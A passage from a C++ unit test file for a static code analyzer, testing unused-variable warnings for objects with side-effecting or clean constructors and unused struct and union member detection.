{\\n\"\n \"public:\\n\"\n \" F() : x(++y) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" F f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:6]: (style) Unused variable: f [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\n \"int y = 0;\"\n \"class F {\\n\"\n \"public:\\n\"\n \" F() : x(--y) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" F f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:6]: (style) Unused variable: f [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\n \"int y = 0;\"\n \"class F {\\n\"\n \"public:\\n\"\n \" F() : x(y+=1) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" F f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:6]: (style) Unused variable: f [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\n \"int y = 0;\"\n \"class F {\\n\"\n \"public:\\n\"\n \" F() : x(y-=1) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" F f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:6]: (style) Unused variable: f [unusedVariable]\\n\", errout_str());\n\n // non-empty constructor\n functionVariableUsage(\n \"class F {\\n\"\n \"public:\\n\"\n \" F() {\\n\"\n \" int i = 0;\\n\"\n \" (void) i;\"\n \" }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" F f;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n // constructor with hidden definition\n functionVariableUsage(\n \"class B {\\n\"\n \"public:\\n\"\n \" B();\\n\"\n \"};\\n\"\n \"class A {\\n\"\n \" B* b = new B;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" A a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // side-effect variable\n functionVariableUsage(\n \"class F {\\n\"\n \"public:\\n\"\n \" F() {\\n\"\n \" int i = 0;\\n\"\n \" (void) i;\"\n \" }\\n\"\n \"};\\n\"\n \"class G {\\n\"\n \"public:\\n\"\n \" F f;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" G g;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // side-effect variable in initialization list\n functionVariableUsage(\n \"class F {\\n\"\n \"public:\\n\"\n \" F() {\\n\"\n \" int i = 0;\\n\"\n \" (void) i;\"\n \" }\\n\"\n \"};\\n\"\n \"class G {\\n\"\n \"public:\\n\"\n \" G() : f(F()) {}\\n\"\n \" F f;\"\n \"};\\n\"\n \"void f() {\\n\"\n \" G g;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // unknown variable type\n functionVariableUsage(\n \"class H {\\n\"\n \"public:\\n\"\n \" unknown_type u{1};\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" H h;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // unknown variable type in initialization list\n functionVariableUsage(\n \"class H {\\n\"\n \"public:\\n\"\n \" H() : x{0}, u(1) {}\\n\"\n \" int x;\"\n \" unknown_type u;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" H h;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // unknown variable type used for initialization\n functionVariableUsage(\n \"unknown_type y = 0;\\n\"\n \"class F {\\n\"\n \"public:\\n\"\n \" F() : x(y) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" F f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\n \"int sideEffectFunc();\\n\"\n \"class F {\\n\"\n \"public:\\n\"\n \" F() : x(sideEffectFunc()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" F f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\n \"class F {\\n\"\n \"public:\\n\"\n \" F() : x(++unknownValue) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" F f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\n \"class F {\\n\"\n \"public:\\n\"\n \" F() : x(--unknownValue) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" F f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\n \"class F {\\n\"\n \"public:\\n\"\n \" F() : x(unknownValue+=1) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" F f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\n \"class F {\\n\"\n \"public:\\n\"\n \" F() : x(unknownValue-=1) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" F f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\n \"struct S {\\n\"\n \" static void f() { std::cout << \\\"f()\\\"; }\\n\"\n \" ~S() { f(); }\\n\"\n \"};\\n\"\n \"void g() {\\n\"\n \" S s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage( // #11109\n \"class D { public: D(); };\\n\"\n \"class E { public: ~E(); };\\n\"\n \"class F {\\n\"\n \"public:\\n\"\n \" F();\\n\"\n \" ~F();\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" D d;\\n\"\n \" E e;\\n\"\n \" F f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void cleanFunction() {\n // unknown function\n functionVariableUsage(\n \"class F {\\n\"\n \"public:\\n\"\n \" F() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" F f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function forward declaration\n functionVariableUsage(\n \"int func();\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // return literal\n functionVariableUsage(\n \"int func() { return 1; }\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:6]: (style) Unused variable: c [unusedVariable]\\n\", errout_str());\n\n // return variable without side effects\n functionVariableUsage(\n \"int func() {\\n\"\n \" int x = 1;\\n\"\n \" return x;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:6]: (style) Unused variable: c [unusedVariable]\\n\", errout_str());\n\n // return variable with side effects\n functionVariableUsage(\n \"int func() {\\n\"\n \" unknown_type x = 1;\\n\"\n \" return x;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // return unknown variable\n functionVariableUsage(\n \"int func() {\\n\"\n \" return unknown_var;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // return variable is global, but not changed\n functionVariableUsage(\n \"int x = 1;\\n\"\n \"int func() {\\n\"\n \" return x;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:6]: (style) Unused variable: c [unusedVariable]\\n\", errout_str());\n\n // changing global variable in return\n functionVariableUsage(\n \"int x = 1;\\n\"\n \"int func() {\\n\"\n \" return x++;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // changing global variable in function body\n functionVariableUsage(\n \"int x = 1;\\n\"\n \"int func() {\\n\"\n \" x++;\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\n \"int x = 1;\\n\"\n \"int func() {\\n\"\n \" --x;\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\n \"int x = 1;\\n\"\n \"int func() {\\n\"\n \" x += 2;\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\n \"int x = 1;\\n\"\n \"int func() {\\n\"\n \" x = 2;\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // global variable use in function body without change\n functionVariableUsage(\n \"int global = 1;\\n\"\n \"int func() {\\n\"\n \" int x = global + 1;\\n\"\n \" return x;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:6]: (style) Unused variable: c [unusedVariable]\\n\", errout_str());\n\n // changing global array variable in function body\n functionVariableUsage(\n \"int x[] = {0, 1, 3};\\n\"\n \"int func() {\\n\"\n \" x[0] = 4;\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\n \"int x[] = {0, 1, 3};\\n\"\n \"int func() {\\n\"\n \" *x = 2;\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\n \"int x[] = {0, 1, 3};\\n\"\n \"int func() {\\n\"\n \" *(x) = 2;\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // pointer arithmetic on global array\n functionVariableUsage(\n \"int x[] = {0, 1, 3};\\n\"\n \"int func() {\\n\"\n \" *(x + 1) = 2;\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\n \"int x[][] = {{0, 1}, {2, 3}};\\n\"\n \"int func() {\\n\"\n \" *((x + 1) + 1) = 4;\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\n \"int x[] = {0, 1, 3};\\n\"\n \"int func() {\\n\"\n \" int local = *(x + 1);\\n\"\n \" (void) local;\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:13:6]: (style) Unused variable: c [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\n \"int x[] = {0, 1, 3};\\n\"\n \"int func() {\\n\"\n \" int* local = x + 2;\\n\"\n \" (void) local;\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:13:6]: (style) Unused variable: c [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\n \"int x[] = {0, 1, 3};\\n\"\n \"int func() {\\n\"\n \" int* local = x + 2;\\n\"\n \" return *local;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\n \"int x[] = {0, 1, 3};\\n\"\n \"int func() {\\n\"\n \" return *(x + 1);\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // changing local variable\n functionVariableUsage(\n \"int func() {\\n\"\n \" int x = 1;\\n\"\n \" x = 2;\\n\"\n \" x++;\\n\"\n \" return x;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:13:6]: (style) Unused variable: c [unusedVariable]\\n\", errout_str());\n\n // variable of user-defined class without side effects\n functionVariableUsage(\n \"class A {};\\n\"\n \"A func() {\\n\"\n \" A a;\\n\"\n \" return a;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" A x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:6]: (style) Unused variable: c [unusedVariable]\\n\", errout_str());\n\n // variable of user-defined class with side effects\n functionVariableUsage(\n \"class A {\\n\"\n \"public:\\n\"\n \" unknown_type u{1};\\n\"\n \"};\\n\"\n \"int func() {\\n\"\n \" A a;\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // unknown type variable\n functionVariableUsage(\n \"int func() {\\n\"\n \" unknown_type a;\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // nested clean function call\n functionVariableUsage(\n \"int another_func() { return 1;}\\n\"\n \"int func() {\\n\"\n \" another_func();\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:6]: (style) Unused variable: c [unusedVariable]\\n\", errout_str());\n\n // nested side-effects function call\n functionVariableUsage(\n \"int global = 1;\"\n \"int another_func() {\\n\"\n \" global++;\\n\"\n \" return global;}\\n\"\n \"int func() {\\n\"\n \" another_func();\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // unknown nested function\n functionVariableUsage(\n \"int func() {\\n\"\n \" unknown_func();\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // clean function recursion\n functionVariableUsage(\n \"int func(int i) {\\n\"\n \" if (i != 2) {\\n\"\n \" func(i++);\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \" return i;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func(0)) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:14:6]: (style) Unused variable: c [unusedVariable]\\n\", errout_str());\n\n // indirect clean function recursion\n functionVariableUsage(\n \"void another_func() {\\n\"\n \" func(0);\\n\"\n \"}\\n\"\n \"int func(int i) {\\n\"\n \" if (i != 2) {\\n\"\n \" another_func();\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \" return i;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func(0)) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:17:6]: (style) Unused variable: c [unusedVariable]\\n\", errout_str());\n\n // side-effect function recursion\n functionVariableUsage(\n \"int global = 1;\\n\"\n \"int func(int i) {\\n\"\n \" if (i != 2) {\\n\"\n \" global++;\\n\"\n \" func(i++);\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \" return i;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func(0)) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // multiple returns (side-effect & clean)\n functionVariableUsage(\n \"int func(int i) {\\n\"\n \" if (i == 0) { return 0;}\\n\"\n \" else { return unknownSideEffectFunction(); }\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func(0)) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // multiple clean returns\n functionVariableUsage(\n \"int func(int i) {\\n\"\n \" if (i == 0) { return 0;}\\n\"\n \" else { return i; }\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func(0)) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:6]: (style) Unused variable: c [unusedVariable]\\n\", errout_str());\n\n // multiple side-effect returns\n functionVariableUsage(\n \"int func(int i) {\\n\"\n \" if (i == 0) { return unknownSideEffectFunction();}\\n\"\n \" else { return unknown_var; }\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func(0)) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // argument return\n functionVariableUsage(\n \"int func(int i) {\\n\"\n \" return i;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func(0)) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:6]: (style) Unused variable: c [unusedVariable]\\n\", errout_str());\n\n // global variable modifying through function argument\n functionVariableUsage(\n \"char buf[10];\\n\"\n \"int func(char* p) {\\n\"\n \" *p = 0;\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func(buf)) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // global variable modifying through local pointer\n functionVariableUsage(\n \"int global = 1;\\n\"\n \"int func() {\\n\"\n \" int* p = &global;\\n\"\n \" *p = 0;\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // global variable assigning to local pointer, but not modifying\n functionVariableUsage(\n \"int global = 1;\\n\"\n \"int func() {\\n\"\n \" int* p = &global;\\n\"\n \" (void) p;\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:13:6]: (style) Unused variable: c [unusedVariable]\\n\", errout_str());\n\n // global struct variable modification\n functionVariableUsage(\n \"struct S { int x; } s;\\n\"\n \"int func() {\\n\"\n \" s.x = 1;\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // global struct variable without modification\n functionVariableUsage(\n \"struct S { int x; } s;\\n\"\n \"int func() {\\n\"\n \" int y = s.x + 1;\\n\"\n \" return y;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:6]: (style) Unused variable: c [unusedVariable]\\n\", errout_str());\n\n // global pointer to struct variable modification\n functionVariableUsage(\n \"struct S { int x; };\\n\"\n \"struct S* s = new(struct S);\\n\"\n \"int func() {\\n\"\n \" s->x = 1;\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // global pointer to struct variable without modification\n functionVariableUsage(\n \"struct S { int x; };\\n\"\n \"struct S* s = new(struct S);\\n\"\n \"int func() {\\n\"\n \" int y = s->x + 1;\\n\"\n \" return y;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:13:6]: (style) Unused variable: c [unusedVariable]\\n\", errout_str());\n }\n\n // #5355 - False positive: Variable is not assigned a value.\n void emptyclass() {\n functionVariableUsage(\"class Carla {\\n\"\n \"};\\n\"\n \"class Fred : Carla {\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" Fred fred;\\n\"\n \" throw fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // #5355 - False positive: Variable is not assigned a value.\n void emptystruct() {\n functionVariableUsage(\"struct Fred {\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" Fred fred;\\n\"\n \" throw fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember1() {\n checkStructMemberUsage(\"struct abc\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \" int c;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) struct member 'abc::a' is never used. [unusedStructMember]\\n\"\n \"[test.cpp:4:9]: (style) struct member 'abc::b' is never used. [unusedStructMember]\\n\"\n \"[test.cpp:5:9]: (style) struct member 'abc::c' is never used. [unusedStructMember]\\n\", errout_str());\n\n checkStructMemberUsage(\"union abc\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \" int c;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) union member 'abc::a' is never used. [unusedStructMember]\\n\"\n \"[test.cpp:4:9]: (style) union member 'abc::b' is never used. [unusedStructMember]\\n\"\n \"[test.cpp:5:9]: (style) union member 'abc::c' is never used. [unusedStructMember]\\n\", errout_str());\n }\n\n void structmember2() {\n checkStructMemberUsage(\"struct ABC\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \" int c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" struct ABC abc;\\n\"\n \" int a = abc.a;\\n\"\n \" int b = abc.b;\\n\"\n \" int c = abc.c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember3() {\n checkStructMemberUsage(\"struct ABC\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \" int c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"static struct ABC abc[] = { {1, 2, 3} };\\n\"\n \"\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" int a = abc[0].a;\\n\"\n \" int b = abc[0].b;\\n\"\n \" int c = abc[0].c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember4() {\n checkStructMemberUsage(\"struct ABC\\n\"\n \"{\\n\"\n \" const int a;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" ABC abc;\\n\"\n \" if (abc.a == 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember5() {\n checkStructMemberUsage(\"struct AB\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \" void reset()\\n\"\n \" {\\n\"\n \" a = 1;\\n\"\n \" b = 2;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" struct AB ab;\\n\"\n \" ab.reset();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember6() {\n checkStructMemberUsage(\"struct AB\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void foo(char *buf)\\n\"\n \"{\\n\"\n \" struct AB *ab = (struct AB *)&buf[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"struct AB\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void foo(char *buf)\\n\"\n \"{\\n\"\n \" struct AB *ab = (AB *)&buf[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember7() {\n checkStructMemberUsage(\"struct AB\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void foo(struct AB *ab)\\n\"\n \"{\\n\"\n \" ab->a = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) struct member 'AB::b' is never used. [unusedStructMember]\\n\", errout_str());\n\n checkStructMemberUsage(\"struct AB\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void foo(struct AB _shuge *ab)\\n\"\n \"{\\n\"\n \" ab->a = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) struct member 'AB::b' is never used. [unusedStructMember]\\n\", errout_str());\n }\n\n void structmember8() {\n checkStructMemberUsage(\"struct AB\\n\"\n 